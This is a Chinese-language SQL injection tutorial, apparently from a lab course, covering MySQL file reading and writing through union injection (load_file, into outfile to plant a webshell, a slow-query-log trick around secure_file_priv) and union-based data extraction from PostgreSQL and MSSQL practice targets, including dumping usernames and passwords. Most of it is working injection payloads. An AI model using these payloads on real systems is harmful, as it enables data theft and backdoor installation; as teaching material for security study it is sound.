WEB攻防-通用漏洞-SQL注入(二)
MYSQL/PostgreSQL高权限读写
当mysql的当前用户为高权限用户的时候,即为root用户的时候,我们可以进行读写注入,即我们既可以读出特定的文件,也可以将一些内容写入某些特定文件中,进而可能造成后门代码,从而用getshell
读取文件
union select 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 |
我们可以看到成功从对应的文件中读取出相关的数据
数据库中正常读取文件:
select load_file('d:/w.txt'); |
所以我们可以尝试读取数据库配置文件等重要性文件,进而扩大危害
http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 |
为什么使用\\
,是因为\
会被当成换行符而报错,所以一般在输入相关的路径的时候,都要进行转义的操作
这个时候又会出现问题了,我们怎么获取配置文件的路径呢?
常见的路径获取方法有报错显示、遗留文件phpinfo.php、漏洞报错、平台配置文件、爆破等,根据实际情况进行搜索,这里就不一一列举了
写入文件
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt' |
我们可以通过写入后门代码来进行getshell
,具体例子如下所示
http://127.0.0.1:8081/web/mysql/news.php |
然后用菜刀进行连接
secure_file_priv选项
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv=null #限制mysql不允许导入导出 |
突破限制:借助PhpMyAdmin或者其他可控MySQL后台(普通框内注入是不能修改的)
global slow_query_log = 1; //打开MySQL日志记录 |
变相地相当于mysql主动帮我们存储了一条一句话木马
PostgreSQL注入
PostgreSQL的注入和MYSQL注入语句写法有些不一样,这里通过墨者学院在线靶场进行演示说明
-测列数: |
获取相关信息
-获取信息: |
获取当前数据库
and 1=2 union select null,current_database(),null,null |
获取所有数据库名
and 1=2 union select null,string_agg(datname,','),null,null from pg_database |
获取表名
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public' |
获取列名
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users' |
获取数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users |
至此一个完整的mssql注入流程就到这里结束了,当然,可以用sqlmap跑这些冷门数据库,针对mysql数据库我还是建议手注,虽然慢,但是可靠,考的也最多,且易于我们理解注入流程
MSSQL注入
MSSQL也就是我们熟知的SQL Sever,下面介绍SqlServer的高权限注入
测列数:
order by 4 |
测显位:
and 1=2 union all select null,'null',null,null |
获取信息:
@@version:获取版本信息
db_name():获取当前数据库名字
user,system_user,current_user,user _name:获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db_name(),null,null |
获取表名:
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u'),null,null |
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null |
获取数据:
and 1=2 union all select null,username,password,null from manage |